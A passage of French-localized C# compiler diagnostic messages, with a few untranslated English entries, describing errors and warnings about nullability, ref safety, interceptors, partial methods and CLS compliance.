un constructeur) + Impossible d'intercepter un appel dans le fichier avec le chemin '{0}' car plusieurs fichiers de la compilation ont ce chemin. + GetDeclarationName appelé pour un nœud de déclaration susceptible de contenir plusieurs déclarateurs de variable. + Cette erreur survient si vous avez une méthode surchargée qui prend un tableau en escalier et que la seule différence entre les signatures de méthode est le type d'élément du tableau. Pour éviter cette erreur, nous vous conseillons les méthodes suivantes : utilisez un tableau rectangulaire plutôt qu'un tableau en escalier, utilisez un paramètre supplémentaire pour supprimer l'ambiguïté de l'appel de fonction, renommez une ou plusieurs des méthodes surchargées ou, si la conformité CLS est facultative, supprimez l'attribut CLSCompliantAttribute. + L'expression switch ne prend pas en charge toutes les valeurs possibles de son type d'entrée (elle n'est pas exhaustive). Par exemple, le modèle '{0}' n'est pas couvert. Toutefois, un modèle avec une clause 'when' peut correspondre à cette valeur. + Les noms d'éléments tuples de la signature de la méthode '{0}' doivent correspondre aux noms d'éléments tuples de la méthode d'interface '{1}' (notamment pour le type de retour). + L’objet « this » est lu avant que tous ses champs aient été affectés, ce qui entraîne les affectations implicites précédentes de 'default' aux champs non explicitement attribués. + Retourne par référence un membre du paramètre '{0}' qui est étendu à la méthode actuelle + Attribut '{0}' en double dans '{1}' + fonction async + Format des informations de débogage non valide : {0} + Un goto ne peut pas accéder à un emplacement avant une déclaration using dans le même bloc. + Les accesseurs '{0}' et '{1}' doivent tous deux être initialiseurs uniquement ou ne pas l'être + Les méthodes asynchrones ne peuvent pas avoir de paramètres de type pointeur + 'else' ne peut pas démarrer d'instruction. + Un membre se substitue au membre obsolète + Impossible d’assigner à {0} '{1}' ou de l’utiliser comme partie droite d’une affectation ref, car il s’agit d’une variable en lecture seule + La syntaxe 'var' d'un modèle n'est pas autorisée à faire référence à un type, mais '{0}' est dans l'étendue ici. + Les méthodes async ne peuvent pas avoir de variables locales par référence + Argument {0} should be passed with the 'in' keyword + contrainte de type générique notnull + Seules les propriétés implémentées automatiquement peuvent avoir des initialiseurs. + Un 'struct' avec des initialiseurs de champ doit inclure un constructeur explicitement déclaré. + Impossible de créer le nom de fichier court '{0}', car il existe déjà un nom de fichier long avec ce même nom de fichier court + Le type de paramètre pour l’opérateur ++ ou -- doit être le type conteneur ou son paramètre de type doit lui être contraint. + Le type de fichier local '{0}' doit être défini dans un type de niveau supérieur; '{0}' est un type imbriqué. + L'attribut '{0}' est non valide sur les accesseurs d'événement. Il est valide uniquement sur les déclarations '{1}'. + #warning : '{0}' + Un membre statique ne peut pas être marqué comme « {0} » + Impossible de spécifier des modificateurs 'readonly' sur la propriété ou l'indexeur '{0}' et son accesseur. Supprimez l'un d'entre eux. + Le champ est lu avant d’être explicitement attribué, ce qui provoque une attribution implicite précédente de « default ». + La ligne et le numéro de caractère fournis ne font pas référence à un nom de méthode interceptable, mais plutôt au jeton '{0}'. + La partie gauche d'une assignation doit être une variable, une propriété ou un indexeur + L'environnement d'exécution cible ne prend pas en charge les types de tableau en ligne. + Un membre '{0}' marqué comme override ne peut pas être marqué comme new ou virtual + Les deux déclarations de méthodes partielles, '{0}' et '{1}', doivent utiliser les mêmes noms d'éléments tuples. + La nullabilité des types référence dans le type du paramètre '{0}' de '{1}' ne correspond pas au membre implémenté implicitement '{2}' (probablement en raison des attributs de nullabilité). + Les membres struct ne peuvent pas retourner 'this' ou d'autres membres d'instance par référence + '{0}' : les chemins du code ne retournent pas tous une valeur + Impossible d'utiliser un résultat de '{0}' dans ce contexte, car il peut exposer les variables référencées par le paramètre '{1}' en dehors de la portée de leur déclaration + L'expression switch ne prend pas en charge toutes les valeurs possibles de son type d'entrée (elle n'est pas exhaustive). Par exemple, le modèle '{0}' n'est pas couvert. + Impossible de transmettre le type '{0}', car il s'agit d'un type imbriqué de '{1}' + Commentaire sur une seule ligne ou fin de ligne attendue + La contrainte ne peut pas être du type dynamic + Le paramètre out '{0}' doit être assigné avant que le contrôle quitte la méthode actuelle + Nom non valide pour un symbole de prétraitement. Identificateur non valide + Le suffixe 'l' risque d'être facilement confondu avec le chiffre '1' -- utilisez plutôt 'L' + '{0}' dans une déclaration d'interface explicite n'est pas une interface + accès au tableau + Le récepteur d'une expression 'with' doit avoir un type non nul. + '{0}' : impossible de substituer '{1}', car il n'est pas pris en charge par le langage + Cannot initialize type '{0}' with a collection expression because the type is not constructible. + La propriété ou l'indexeur d'initialisation uniquement '{0}' ne peut être assigné que dans un initialiseur d'objet, ou sur 'this' ou 'base' dans un constructeur d'instance ou un accesseur 'init'. + Impossible de convertir le groupe de &méthodes '{0}' en type délégué '{1}'. + Impossible d'utiliser le modificateur de paramètre '{0}' avec '{1}' + Les noms d'éléments ne sont pas autorisés durant l'utilisation de critères spéciaux via 'System.Runtime.CompilerServices.ITuple'. + Method '{0}' cannot be used as an interceptor because its containing type has type parameters. + Cette référence ne peut affecter '{1}' à '{0}', car '{1}' a une étendue d’échappement de valeur plus large que '{0}' permettant l’affectation via '{0}' de valeurs avec des étendues d’échappement plus restreintes que '{1}'. + Impossible d'incorporer le type '{0}', car il a une nouvelle abstraction d'un membre de l'interface de base. Affectez la valeur false à la propriété 'Incorporer les types interop'. + Impossible d'utiliser un membre '{0}' ne pouvant pas être appelé comme une méthode. + Une valeur ref ou out doit être une variable qui peut être assignée + SyntaxTreeSemanticModel doit être indiqué pour fournir une qualification de type minimale. + CallerArgumentExpressionAttribute n'aura pas d'effet ; il est remplacé par CallerMemberNameAttribute + Échec de l'initialisation du générateur. + Le type '{0}' est défini dans un module qui n'a pas été ajouté. Vous devez ajouter le module '{1}'. + Une expression conditionnelle ne peut pas être utilisée directement dans une interpolation de chaîne car ':' termine l'interpolation. Mettez l'expression conditionnelle entre parenthèses. + L'espace de noms '{1}' dans '{0}' est en conflit avec le type '{3}' dans '{2}' + '{0}' : un constructeur statique ne doit pas avoir de paramètres + Un paramètre out ne peut pas avoir l'attribut In + Impossible d'utiliser les arguments avec le modificateur 'in' dans les expressions dispatchées dynamiquement. + groupe de méthodes + L'itérateur asynchrone '{0}' a un ou plusieurs paramètres de type 'CancellationToken' mais aucun d'entre eux n'est décoré avec l'attribut 'EnumeratorCancellation'. Le paramètre de jeton d'annulation du 'IAsyncEnumerable<>.GetAsyncEnumerator' généré n'est donc pas consommé + Attribut MemberNotNull + Le champ n'est jamais assigné et aura toujours sa valeur par défaut + La méthode '{0}' a un modificateur de paramètre 'this' qui ne figure pas dans le premier paramètre + Les guillemets non ASCII ne peuvent pas être utilisés avec les littéraux de chaîne. + Une classe de base est requise pour une référence 'base' + Directive de préprocesseur inattendue + Conversion unboxing d'une valeur peut-être null. + Impossible d'utiliser le type '{2}' en tant que paramètre de type '{1}' dans le type ou la méthode générique '{0}'. La nullabilité de l'argument de type '{2}' ne correspond pas à la contrainte 'notnull'. + La vérification de conformité CLS ne sera pas effectuée sur '{0}', car il n'est pas visible hors de cet assembly + La directive using pour « {0} » est apparue précédemment comme using global + '{0}' : substitution impossible, car '{1}' n'est pas une propriété + Une expression de type '{0}' ne peut pas être gérée par un modèle de type '{1}' en C# {2}. Utilisez la version de langage {3} ou une version ultérieure. + La variable '{0}' est assignée, mais sa valeur n'est jamais utilisée + L'opérateur '{0}' ne peut pas être appliqué à 'default' et à l'opérande de type '{1}', car il s'agit d'un paramètre de type qui n'est pas connu en tant que type référence + L'annotation pour les types référence Nullable doit être utilisée uniquement dans le code au sein d'un contexte d'annotations '#nullable'. + Le nom d'élément de tuple '{0}' est uniquement autorisé à la position {1}. + Présence de plusieurs modificateurs de protection + La syntaxe de l'attribut cref '{0}' du commentaire XML est incorrecte + L'assembly de l'analyseur fait référence à une version plus récente du compilateur que la version en cours d'exécution. + '{0}' n'est pas pris en charge par le langage + Le commentaire XML a une balise paramref, alors qu'il n'existe aucun paramètre de ce nom + L'opérateur 'await' peut seulement être utilisé dans une méthode async. Marquez cette méthode avec le modificateur 'async' et changez son type de retour en 'Task'. + Impossible d’utiliser le paramètre de constructeur principal '{0}' avec ref, out ou in à l’intérieur d’un membre d’instance. + Impossible de mettre à jour '{0}' ; l'attribut '{1}' est manquant. + shift droit non signé + Impossible de spécifier /main s'il existe une unité de compilation avec des instructions de niveau supérieur. + Un paramètre de constructeur primaire d’un type en lecture seule ne peut pas être utilisé comme valeur ref ou out (sauf dans le setter init-only du type ou dans un initialisateur de variable). + CallerArgumentExpressionAttribute n'aura pas d'effet ; il est remplacé par CallerFilePathAttribute + '{0}' : nouveau membre protégé déclaré dans le type sealed + Le contrôle ne peut pas passer d'une étiquette case ('{0}') à une autre + Impossible de convertir {0} en type '{1}', car il ne s'agit pas d'un type délégué + Une expression lambda avec un corps d'instruction ne peut pas être convertie en arborescence de l'expression + La méthode '{0}' spécifie une contrainte 'default' pour le paramètre de type '{1}', mais le paramètre de type '{2}' correspondant de la méthode substituée ou explicitement implémentée '{3}' est limité à un type référence ou à un type valeur. + Le modificateur 'scoped' du paramètre ne correspond pas au membre substitué ou implémenté. + Mélange de déclarations et d'expressions dans la déconstruction + Compilateur Microsoft (R) Visual C# + La ligne contient un espace blanc différent de la ligne de fermeture du littéral de chaîne brute : '{0}' par rapport à '{1}' + Impossible de convertir le type '{0}' en '{1}' via une conversion de référence, une conversion boxing, une conversion unboxing, une conversion wrapping ou une conversion null type + '{0}' est utilisé à des fins d'évaluation uniquement. Il sera peut-être changé ou supprimé au cours des prochaines mises à jour. + Un pointeur ne doit être indexé que par une seule valeur + '{0}' a un CollectionBuilderAttribute mais aucun type d’élément. + L’utilisation d’un type de pointeur de fonction dans ce contexte n’est pas prise en charge. + Numéro d'avertissement incorrect + Soit les deux déclarations de méthodes partielles sont readonly, soit aucune ne l'est + variables locales et retours byref + Le CallerArgumentExpressionAttribute appliqué au paramètre « {0} » '*n’aura aucun effet, car il est auto-référentiel. + Impossible de passer un argument avec un type dynamique au paramètre params '{0}' de la fonction locale '{1}'. + La méthode interop incorporée '{0}' contient un corps. + La meilleure méthode Add surchargée '{0}' pour l'élément initialiseur de collection est obsolète. + dynamique + Impossible d'utiliser la variable locale '{0}' tant qu'elle n'est pas déclarée. La déclaration de la variable locale masque le champ '{1}'. + Le nom d'élément de tuple est ignoré, car un autre nom est spécifié ou aucun nom n'est spécifié de l'autre côté de l'opérateur de tuple == ou !=. + l’instruction foreach sur un tableau inline de type '{0}' n’est pas prise en charge + Le membre doit avoir une valeur non null au moment de la sortie. + L'index est en dehors des limites du tableau en ligne + Impossible de définir/annuler la définition des symboles de préprocesseur à la suite du premier jeton du fichier + Les options de compilation '{0}' et '{1}' ne peuvent pas être spécifiées toutes les deux en même temps. + instructions de niveau supérieur + CallerMemberNameAttribute n'aura pas d'effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas d'arguments facultatifs + L'opération engendre un dépassement de capacité au moment de la compilation dans le mode checked + qualificateur d'alias d'espace de noms + Une instruction throw sans argument n'est pas autorisée à l'extérieur d'une clause catch + Opérande non valide pour les critères spéciaux ; la valeur nécessaire n'est pas celle trouvée, '{0}'. + L'instruction foreach ne peut pas fonctionner sur les énumérateurs de type '{0}' dans les méthodes asynchrones ou les méthodes d'itérateurs, car '{0}' est un struct par référence. + Le paramètre est non lu. Avez-vous oublié de l'utiliser pour initialiser la propriété portant ce nom ? + La valeur de constante '{0}' peut dépasser '{1}' au moment de l'exécution (utilisez la syntaxe 'unchecked' pour la remplacer) + L'événement '{0}' n'est jamais utilisé + Le commentaire XML n'est pas placé dans un élément valide du langage + Erreur d'écriture dans le fichier de documentation XML : {0} + génériques + 'Interface '{0}' marquée avec 'CoClassAttribute' et non avec 'ComImportAttribute' + Impossible d'utiliser les champs de '{0}' en tant que valeur ref ou out, car il s'agit d'un '{1}' + Utilisation d'une propriété implémentée automatiquement éventuellement non assignée : '{0}' + Le champ '{0}' n'est jamais utilisé + Cette étiquette n'est pas référencée + 'Argument d'attribut nommé '{0}' en double + Impossible de faire référence à une variable de type '{0}' + L'opérateur 'await' peut seulement être utilisé lorsqu'il est contenu dans une méthode ou une expression lambda marquée avec le modificateur 'async' + Une arborescence de l'expression ne peut pas contenir un littéral de tuple. + Comparaison effectuée avec la même variable + Impossible d'appeler un pointeur de fonction avec des arguments nommés. + Les expressions d'initialiseur d'objet et de collection ne peuvent pas être appliquées à une expression de création de délégué + Le commentaire XML a une balise typeparam en double pour '{0}' + '{0}' : les conversions définies par l'utilisateur vers ou à partir d'un type dérivé ne sont pas autorisées + L'initialiseur d'objet ou de collection déréférence implicitement le membre susceptible d'avoir une valeur null. + Le type n'implémente pas le membre d'interface. Les possibilités de valeur null des types référence dans l'interface implémentée par le type de base ne correspondent pas. + '{0}' n'est pas un spécificateur de format valide + 'await' ne peut pas être utilisé dans une expression contenant un opérateur conditionnel ref + Le paramètre '{0}' est non lu. Avez-vous oublié de l'utiliser pour initialiser la propriété portant ce nom ? + Le membre d'itérateur asynchrone a un ou plusieurs paramètres de type 'CancellationToken' mais aucun d'entre eux n'est décoré avec l'attribut 'EnumeratorCancellation'. Le paramètre de jeton d'annulation du 'IAsyncEnumerable<>.GetAsyncEnumerator' généré n'est donc pas consommé + Un assembly avec le même nom simple '{0}' a déjà été importé. Essayez de supprimer une des références (par exemple, '{1}') ou signez-les pour permettre le côte à côte. + L'opérateur 'await' ne peut pas être utilisé dans un initialiseur de variable de script statique. + Impossible d'hériter de l'interface '{0}' avec les paramètres de type spécifiés, car cela entraîne des surcharges dans la méthode '{1}' qui diffèrent uniquement au niveau des paramètres ref et out + Le nom '{0}' n'est pas dans la portée à gauche de 'equals'. Échangez les expressions de chaque côté de 'equals'. + Impossible d'appliquer CallerFilePathAttribute, car il n'existe pas de conversion standard du type '{0}' en type '{1}' + L'identificateur '{0}', qui se différencie uniquement dans case, n'est pas conforme CLS + Impossible de convertir un littéral ayant une valeur null en type référence non-nullable. + Accessibilité incohérente : le type de propriété '{1}' est moins accessible que la propriété '{0}' + null n'est pas un nom de paramètre valide. Pour avoir accès au récepteur d'une méthode d'instance, utilisez la chaîne vide comme nom de paramètre. + Erreur lors de l'ouverture du fichier de ressources Win32 '{0}' -- '{1}' + Spécificateur de format vide. + La nullabilité du type de retour ne correspond pas au membre substitué (probablement en raison des attributs de nullabilité). + Opérateur OU au niveau du bit utilisé sur un opérande de signe étendu + Le résultat de l'expression est toujours le même, car une valeur de ce type n'est jamais égale à 'null' + Échec de l'accès de membre à identificateur transparent pour le champ '{0}' de '{1}'. Les données interrogées implémentent-elles le modèle de requête ? + contraintes de type générique de délégué + La nullabilité des types référence dans le type du paramètre ne correspond pas au membre implémenté (probablement en raison des attributs de nullabilité). + Nous n’avons pas pu utiliser une constante numérique ou un modèle relationnel sur '{0}', car il hérite ou étend 'INumberBase<T>'. Utilisez un modèle de type pour vous limiter à un type numérique spécifié. + Impossible d'appliquer CallerLineNumberAttribute, car il n'existe pas de conversion standard du type '{0}' en type '{1}' + 'extern alias' n'est pas valide dans ce contexte + La liste des membres requis pour le type de base '{0}' est incorrecte et ne peut pas être interprétée. Pour utiliser ce constructeur, appliquez l’attribut 'SetsRequiredMembers'. + L’objet « this » ne peut pas être utilisé dans un constructeur avant que tous ses champs aient été affectés. Envisagez de mettre à jour la version du langage pour qu’elle utilise automatiquement les champs non attribués par défaut. + Les deux valeurs d'opérateur conditionnel doivent être des valeurs ref. Sinon, aucune d'elles ne doit être une valeur ref + L'utilisation de new() est non valide dans ce contexte + Impossible d'incorporer le type '{0}', car il s'agit d'un type imbriqué. Attribuez à la propriété 'Incorporer les types interop' la valeur false. + Vous ne pouvez pas spécifier l'attribut CLSCompliant sur un module qui diffère de l'attribut CLSCompliant de l'assembly + La possibilité de nullité des types de référence dans le type de retour ne correspond pas à la méthode interceptable. + Le membre obligatoire '{0}' doit être défini dans l’initialiseur d’objet ou le constructeur d’attribut. + L’indexeur de tableau inline ne sera pas utilisé pour l’expression d’accès à l’élément. + {0}. Voir aussi l'erreur CS{1}. + Type de base non valide + Le membre obligatoire '{0}' ne peut pas être moins visible ou avoir un setter moins visible que le type conteneur '{1}'. + Le nom de type '{0}' n'existe pas dans le type '{1}' + Aucun élément correspondant n'a été trouvé pour la balise include suivante + La fonctionnalité '{0}' est expérimentale et non prise en charge. Utilisez '/features:{1}' pour l'activer. + La propriété implémentée automatiquement est lue avant d’être affectée explicitement, ce qui entraîne une attribution implicite précédente de « default ». + Le type se substitue à Object.Equals(object o) mais pas à Object.GetHashCode() + flux async + La valeur 'goto case' n'est pas implicitement convertible en type switch + L'option de compilateur /doc a été spécifiée, mais un ou plusieurs constructeurs n'avaient pas de commentaires. + '{0}' : impossible de substituer le membre hérité '{1}', car il n'est pas marqué comme virtual, abstract ou override + Le nom de paramètre '{0}' est un doublon + '{0}' : les modificateurs d'accès ne sont pas autorisés sur les constructeurs statiques + N’utilisez pas « System.Runtime.CompilerServices.RequiredMemberAttribute ». Utilisez plutôt le mot clé « required » sur les champs et propriétés requis. + Utilisation inattendue d'un nom générique indépendant + Le modificateur 'ref' d’un argument correspondant au paramètre 'in' équivaut à 'in'. Utilisez 'in' à la place. + L'accesseur '{0}' ne peut pas implémenter le membre d'interface '{1}' pour le type '{2}'. Utilisez une implémentation d'interface explicite. + Soit les deux déclarations de méthode partielles sont des méthodes d'extension, soit aucune ne l'est + Catch ou finally attendu + Une expression new nécessite une liste d'arguments ou bien (), [] ou {} après type + La variable est déclarée mais jamais utilisée + '{0}' est défini dans un module avec une version RefSafetyRulesAttribute non reconnue, '11' attendu. + Fin de fichier trouvée, '*/' attendu + Impossible de référencer la compilation de type '{0}' à partir de la compilation {1}. + Une valeur par défaut est spécifiée pour le paramètre 'ref readonly', mais 'ref readonly' doit être utilisé uniquement pour les références. Déclarez le paramètre comme 'in'. + '{0}' masque le membre hérité '{1}'. Pour que le membre actif se substitue à cette implémentation, ajoutez le mot clé override. Sinon, ajoutez le mot clé new. + '{0}' n'implémente pas le membre d'interface '{1}'. '{2}' ne peut pas implémenter un membre d'interface, car il n'est pas public. + Le type local de fichier '{0}' ne peut pas être utilisé dans une signature de membre dans un type non local de fichier '{1}'. + L’interface «{0}» ne peut pas être utilisée comme argument de type. Le membre statique '{1}' n’a pas d’implémentation la plus spécifique dans l’interface. + SemanticModel {0} attendu. + expression conditionnelle ref + opérateur par défaut + Impossible d'assigner une valeur de type 'void'. + littéral par défaut + '{0}' n'implémente pas le membre d'interface '{1}'. '{2}' ne peut pas implémenter '{1}'. + Une expression de type '{0}' ne peut pas être gérée par un modèle de type '{1}'. + Impossible d’utiliser l’objet 'this' avant l’affectation de tous ses champs. Envisagez de mettre à jour vers la version de langage '{0}' pour définir automatiquement les champs non attribués par défaut. + Options spécifiées en conflit : fichier de ressources Win32 ; icône Win32 + L'attribut est ignoré quand une signature publique est spécifiée. + L'utilisation du nom de type '{0}' est réservée au compilateur. + Les possibilités de valeur null des types référence dans le spécificateur d'interface explicite ne correspondent pas à l'interface implémentée par le type. + Les points d'entrée d'application ne peuvent pas être attribués avec 'UnmanagedCallersOnly'. + Le nom '{0}' n'est pas dans la portée à droite de 'equals'. Échangez les expressions de chaque côté de 'equals'. + '{0}' : impossible de changer les noms d'éléments tuples en cas de substitution du membre hérité '{1}' + La longueur combinée des chaînes utilisateur que le programme utilise dépasse la limite autorisée. Essayez de réduire le nombre de littéraux de chaîne. + { attendue + Le suffixe 'l' risque d'être facilement confondu avec le chiffre '1' + Caractère inattendu à cet emplacement. + >' ou '/>' était attendu pour fermer la balise '{0}'. + La valeur levée est peut-être null. + Le type de paramètre n'a pas de balise typeparam correspondante dans le commentaire XML (contrairement à d'autres paramètres) + action d'avertissement enable + La définition d'un alias nommé 'global' n'est pas très judicieuse dans la mesure où 'global::' fait toujours référence à l'espace de noms global et non à un alias + CallerMemberNameAttribute, appliqué au paramètre '{0}', n'aura aucun effet, car il s'applique à un membre utilisé dans des contextes qui n'autorisent pas les arguments facultatifs + Le paramètre de constructeur d'attribut '{0}' est de type '{1}', qui n'est pas un type de paramètre d'attribut valide + Modificateur de variance non valide. Seuls les paramètres de type d'interface et délégué peuvent être spécifiés comme étant variants. + Le paramètre doit avoir une valeur non null au moment de la sortie dans certaines conditions. + Les modèles relationnels ne peuvent pas être utilisés pour une valeur de type '{0}'. + L’héritage d’un enregistrement avec un 'Object.ToString' scellé n’est pas pris en charge dans C# {0}. Veuillez utiliser la version linguistique '{1}' ou version supérieure. + La méthode surchargée qui se différencie uniquement au niveau de ref ou out ou du rang de tableau n'est pas conforme CLS + '{0}' : un champ volatile ne peut pas être de type '{1}' + Une expression stackalloc exige la présence de [] à la suite du type + Déclarateur de membre de type anonyme non valide. Les membres de type anonyme doivent être déclarés avec une assignation de membre, un nom simple ou un accès membre. + Un tuple ne doit pas contenir de valeur de type 'void'. + Impossible de spécifier l'attribut Out sur un paramètre ref sans spécifier également l'attribut In. + Fichier source '{0}' indiqué plusieurs fois + Les membres de la propriété '{0}' de type '{1}' ne peuvent pas être assignés avec un initialiseur d'objet, car il s'agit d'un type valeur + collection expressions + '{0}' : les structs ne peuvent pas appeler les constructeurs de classe de base + Un type n'implémente pas le modèle de la collection ; les membres sont ambigus + stackalloc ne peut être utilisé dans un bloc catch ou finally + Un littéral de chaîne était attendu, mais aucun guillemet ouvrant n'a été trouvé. + '{0}' ne peut pas être extern et déclarer un corps + <expression switch> + Expression de préprocesseur non valide + Le mot clé 'this' n'est pas disponible dans le contexte actuel + type de retour lambda + Le SyntaxTree résulte d'une directive #load, et ne peut pas être supprimé ou remplacé directement. + Directive #pragma non reconnue + Un type anonyme ne peut pas avoir plusieurs propriétés du même nom + Le paramètre de type '{1}' a la contrainte 'unmanaged'. '{1}' ne peut donc pas être utilisé comme contrainte pour '{0}' + Le nom '{0}' dépasse la longueur maximale autorisée dans les métadonnées. + Une directive 'using static' ne peut pas être utilisée pour déclarer un alias + Assignation effectuée à la même variable ; souhaitiez-vous assigner un autre élément ? + L'événement n'est jamais utilisé + Un intercepteur ne peut pas être déclaré dans l'espace de noms global. + L'instruction foreach asynchrone ne peut pas fonctionner sur des variables de type '{0}', car '{0}' ne contient aucune définition d'extension ou d'instance publique appropriée pour '{1}' + L'événement '{0}' ne peut apparaître qu'à gauche de += ou -= + La valeur du paramètre par défaut ne correspond pas au type délégué cible. + Balise include non valide + pointeurs de fonction + Le redirecteur de type pour le type '{0}' dans l'assembly '{1}' provoque un cycle + Le type '{0}' contient déjà une définition pour '{1}' + Une arborescence de l'expression ne peut pas contenir un appel qui utilise des arguments facultatifs + Impossible d'appliquer l'opérateur '{0}' à un opérande '{1}' + Impossible d'ouvrir le fichier de métadonnées '{0}' -- {1} + La comparaison avec null de type '{0}' produit toujours 'false' + module en tant que spécificateur cible d'attribut + modèles récursifs + Cet avertissement peut être généré lorsque deux méthodes d'interface sont uniquement différenciées si un paramètre particulier est marqué avec ref ou avec out. Nous vous recommandons de modifier votre code pour éviter cet avertissement, car la méthode appelée au démarrage n'est ni évidente, ni garantie. + +Même si le langage C# permet de faire la différence entre out et ref, ce n'est pas le cas pour le CLR. Lors du choix de la méthode d'implémentation de l'interface, le CLR en sélectionne simplement une. + +Permettez au compilateur de différencier les méthodes. Par exemple, vous pouvez leur donner différents noms ou fournir un paramètre supplémentaire à l'une d'elles. + Impossible d'utiliser #r à la suite du premier jeton du fichier + « {0} » n'implémente pas le membre d'interface d’instance « {1} ». « {2} » ne peut pas implémenter le membre d'interface, car il est static. + « {0} » n’implémente pas le membre d’interface « {1} ». « {2} » ne peut pas implémenter implicitement un membre non public dans C# {3}. Utilisez la version de langue « {4} » ou une version ultérieure. + Retourne un paramètre par référence '{0}', mais il ne s’agit pas d’un paramètre ref + Impossible d'initialiser une variable par référence avec une valeur + argument nommé + Un type de retour ne peut avoir qu'un seul modificateur '{0}'. + Le type prédéfini '{0}' est défini dans plusieurs assemblys de l'alias global ; utilisation de la définition de '{1}' + Une arborescence d'expression lambda ne peut pas contenir d'appel à une méthode, une propriété ou un indexeur qui effectue un retour par référence + champs de struct par défaut automatique + Une méthode partielle ne peut pas avoir le modificateur 'abstract' + '{0}' figure déjà dans la liste des interfaces du type '{1}' avec différentes possibilités de valeur null des types référence. + Signe égal manquant entre l'attribut et la valeur d'attribut. + Mise à jour impossible, car un type délégué déduit a changé. + Impossible de déconstruire un tuple de '{0}' éléments en '{1}' variables. + '{0}' n'implémente pas le membre abstrait hérité '{1}' + Plusieurs fichiers config d'analyseur ne peuvent pas figurer dans le même répertoire ('{0}'). + La fonctionnalité de langage 'Tableaux inline' n’est pas prise en charge pour les types tableau inline avec un champ d’élément qui est un champ 'ref' ou dont le type n’est pas valide en tant qu’argument de type. + '{0}' ne peut pas être sealed, car l'enregistrement contenant n'est pas sealed. + Impossible de créer une instance du type de variable '{0}', car il n'a pas de contrainte new() + Impossible de déduire le type de '{0}', car son initialiseur fait directement ou indirectement référence à la définition. + '{0}' : le runtime cible ne prend pas en charge les types covariants dans les substitutions. Le type doit être '{2}' pour correspondre au membre substitué '{1}' + #load n'est autorisé que dans les scripts + La méthode surchargée '{0}', qui se différencie uniquement par les types de tableau sans nom, n'est pas conforme CLS + Le modificateur de genre de référence du paramètre ne correspond pas au paramètre correspondant dans le membre substitué ou implémenté. + Cette référence affecte une valeur, mais a une étendue d’échappement de valeur plus large que la cible, ce qui permet l’affectation via la cible de valeurs avec des étendues d’échappement plus restreintes. + L'événement de type champ '{0}' ne peut pas être 'readonly'. + Un argument d'attribut doit être une expression constante, une expression typeof ou une expression de création de tableau d'un type de paramètre d'attribut + structs en lecture seule + <expression throw> + types partiels + L'expression donnée ne correspond jamais au modèle fourni. + Le paramètre générique est definition alors que la référence attendue était {0} + An expression tree may not contain a collection expression. + La valeur de retour doit être non null, car le paramètre '{0}' a une valeur non null. + La syntaxe 'var (...)' en tant que lvalue est réservée. + '{0}' ne remplace pas la méthode attendue de '{1}'. + Le membre struct retourne 'this' ou d'autres membres d'instance par référence + Option /noconfig ignorée, car elle était spécifiée dans un fichier réponse + « {0} » n'implémente pas le membre d'interface statique« {1} ». « {2} » ne peut pas implémenter le membre d'interface, car il est n’est pas statique. + '{0}' : une propriété ou un indexeur ne peut pas être de type void + '{0}' : impossible de substituer le membre hérité '{1}', car il est sealed + Les itérateurs ne peuvent pas avoir de paramètres ref, in ou out + Tous les arguments de la propriété indexée '{0}' doivent être facultatifs + Le champ '{0}' doit être entièrement attribué avant que le contrôle soit retourné à l’appelant. Envisagez de mettre à jour la version de langue «{1}» pour définir automatiquement le champ par défaut. + Les deux déclarations de méthodes partielles doivent avoir le même type de retour. + Utilisation du paramètre lambda incohérente ; les types de paramètres doivent être tous explicites ou tous implicites + Impossible de charger l'assembly Analyseur + Impossible de déduire le type d'une variable implicitement typée abandonnée. + Le type '{0}' dans la liste des interfaces n'est pas une interface + Les signatures des méthodes interceptable et intercepteur ne correspondent pas. + Mot clé 'record' inattendu. Vouliez-vous dire « struct d’enregistrement » ou « classe d’enregistrement » ? + élément + La fonctionnalité « paramètre null-checking » n’est pas prise en charge. + Le paramètre __arglist doit être le dernier paramètre spécifié dans une liste de paramètres + {0} n'est pas une opération d'assignation composée C# valide + Une arborescence de l'expression ne peut pas contenir l'opérateur de comparaison avec critères spéciaux 'is'. + Impossible d'utiliser le constructeur d'attribut « {0} » car il a des paramètres « in » ou « ref readonly ». + variables d'itération foreach de référence + Conversions définies par l'utilisateur ambiguës '{0}' et '{1}' lors de la conversion de '{2}' en '{3}' + Impossible d'incorporer le type interop '{0}'. Utilisez plutôt l'interface applicable. + L'expression doit être de type '{0}', car elle est assignée par référence + L'assembly ne contient pas d'analyseur + Aucune surcharge pour '{0}' ne correspond au pointeur de fonction '{1}' + Indexation d'un tableau avec un index négatif + Les propriétés qui effectuent un retour par référence ne peuvent pas avoir d'accesseurs set + Erreur de syntaxe de ligne de commande : ':<numéro>' manquant pour l'option '{0}' + Une référence au type '{0}' déclare qu'il est défini dans '{1}', mais il est introuvable + Assignation potentiellement incorrecte à la variable locale '{0}', qui est l'argument d'une instruction using ou lock. L'appel Dispose ou le déverrouillage se produira sur la valeur d'origine de la variable locale. + Impossible de convertir un tuple avec {0} éléments en type '{1}'. + Le caractère '<' ne peut pas être utilisé dans une valeur d'attribut. + Peut prendre l'adresse, obtenir la taille ou déclarer un pointeur vers un type managé ('{0}') + Un constructeur de copie dans un enregistrement doit appeler un constructeur de copie de la base ou un constructeur d'objet sans paramètre, si l'enregistrement hérite de l'objet. + Syntaxe de #pragma checksum non valide ; doit être #pragma checksum "nom_fichier" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." + par invariance + « {0} » est utilisé à des fins d’évaluation uniquement et est susceptible d’être modifié ou supprimé dans les futures mises à jour. Supprimez ce diagnostic pour continuer. + La position ne se trouve pas dans l'étendue complète {0} de l'arborescence de syntaxe + Impossible de définir une nouvelle méthode d'extension, car le type requis par le compilateur '{0}' est introuvable. Vous manque-t-il une référence à System.Core.dll ? + La nullabilité des types référence dans le type de retour ne correspond pas à la déclaration de méthode partielle. + Pour être applicable en tant qu'opérateur de court-circuit, un opérateur logique défini par l'utilisateur ('{0}') doit avoir le même type de retour et les mêmes types de paramètre + Comparaison effectuée avec la même variable ; souhaitiez-vous comparer autre chose ? + sauts de ligne dans les interpolations + Le modificateur « Scoped » ne peut pas être utilisé avec discard. + Un identificateur qui se différencie uniquement par la casse n'est pas conforme CLS + Le paramètre {0} a un modificateur de paramètres dans l’expression lambda mais pas dans le type délégué cible. + Littéral réel non valide. + Vous ne pouvez pas utiliser l'instruction fixed pour prendre l'adresse d'une expression qui est déjà fixed + '{0}' n'a aucun constructeur accessible qui utilise uniquement des types conformes CLS + Échec de l'évaluation de l'expression constante décimale + Le paramètre '{0}' doit avoir une valeur non null au moment de la sortie avec '{1}'. + modèle de liste + L'étiquette 